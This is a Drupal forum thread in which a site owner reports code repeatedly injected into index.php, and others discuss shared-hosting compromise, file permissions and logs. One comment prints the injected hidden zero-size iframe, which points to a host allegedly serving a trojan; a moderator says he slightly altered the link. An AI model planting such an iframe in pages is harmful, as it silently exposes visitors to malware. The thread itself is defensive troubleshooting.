By Anonymous (not verified) on

Hello All,

I have never had this problem with any of my Drupal sites before until this one running 4.7.4. Every so often I will get an error message saying there is an unexpected < in the last line of index.php. I go into investigate and there is a line that keeps getting put in there:

Once I remove it everything is fine. I tried putting in a few modules like bad-behavior, and a few others but it still seems to keep happeneing. Has anyone else experienced something like this? Is there a way that it can be stopped? Should I chmod index.php from 644 to something else

Comments

Anonymous’s picture

Anonymous (not verified) commented

sorry i should have used the code tags:

there is an unexpected '<'

and the code that is inserted into my page is:

[Heine - Important: link has been alleged to attempt installation of the Trojan VBS/Psyme - I've modified the link sightly]
<iframe src="http://isecurepages.net/out.tphpt?s_id=11" width=0 height=0></iframe>

Anonymous’s picture

Anonymous (not verified) commented

I think I just found my mistake...I double checked my version and it was 4.7.3. I just upgraded my site to 4.7.4 so everything should be okay now...hopefully.

spamjim’s picture

spamjim commented

This may not necessarily be a problem with Drupal - - it is a common problem with shared hosting. Even if you feel you are totally secure by using strong passwords that are regularly changed, another user of your shared host may not be so diligent with security. I have seen (and used) scripts that allow one to navigate to other users' directories and append code.

CHMOD should help but I suspect that you should also be working with your hosting provider to alert them to this problem.

vm’s picture

vm commented

I agree with spamjim

have a look at your server logs and find out what is going on so that you can help stop it.

Anonymous’s picture

Anonymous (not verified) commented

Many thanks to the both of you.

If I may ask, what might you suggest I CHMOD to?

I will contact my host asap and alert them of this situation.

vm’s picture

vm commented

644 should suffice. for hackers outside of your shared server. for someone "on" your shared server who may be doing this. I don't think chmodding will have any affect. if they can change your code, chances are they can change the permissions as well.

your apache server logs should show when and what time this file was changed. make sure you sent a copy of this to your host to prevent further invasion.

Anonymous’s picture

Anonymous (not verified) commented

I contacted my host (hostgator) and they said this:

There's nothing in the access logs about this because it's getting injected straight into the page itself. You should see in your Drupal access logs the times when this happened and you can correlate that.

There was nothing in my watchdog about this. So, I'm sort of at a loss for this as it is still happening almost twice a day.

vm’s picture

vm commented

I'd do two things. First I would look at my own server logs and not rely on supports answer. If this showed no outside access was made and you are sure the upgrade to 4.7.4 was completed ? if so report it with a proper security report.

if you are running any other scripts in or around your drupal installation, you should mention them and doubel check their security announcements as well.

vm’s picture

vm commented

ok I've finally had this happen to me. Though the insertion of code is different. The code inserted into my file, was a javascript redirect which pointed to a virus infected file. It's not attached to my drupal index.php (whew). It's included in an index.html that I set up to meta redirect anyone trying to browse to the directory its in. Thus I suggest it really isn't a drupal problem.

Question about HostGator: Are they resellers for Site5.com ?

:off to take a look at my apache logs:

heine’s picture

heine commented

This looks earily similar to earlier CPanel exploits: http://www.webhostingtalk.com/showthread.php?t=549458 .
--
The Manual | Troubleshooting FAQ | Tips for posting | How to report a security issue.

spamjim’s picture

spamjim commented

Log files in either Apache or Drupal will not necessarily indicate when a file was modified any more than they would reflect when you update or move a file via FTP. Don't expect log files to be too revealing.

If a hacker was using a script on their shared server space to see your shared server space, nothing would show in your Apache logs. It would appear in their Apache logs.

vm’s picture

vm commented

date and time of file creation would change though yes ? giving an indication of when it was done ? comparing with access logs should narrow down IP addresses. specifically on a non public site.

cog.rusty’s picture

cog.rusty commented

This sounds like BS. What "page itself"? Drupal can not modify an 644 file which you own.

Only your own account or the root account can.

vm’s picture

vm commented

CogRusty, relax. I've previously stated it isnt a Drupal issue. The original thread starter has moved on. I only commented on it because I recognized the method from this post. Unfortunatly I am not a moderator or I'd change the title of the post so that it doesnt reflect drupal. It's definetly something within the environment which is insecure. Not in Drupal. Per my previous post, none of my drupal files were touched. The injection was made in an index.html that happens to sit in my root.

cog.rusty’s picture

cog.rusty commented

I was talking about the host's answer.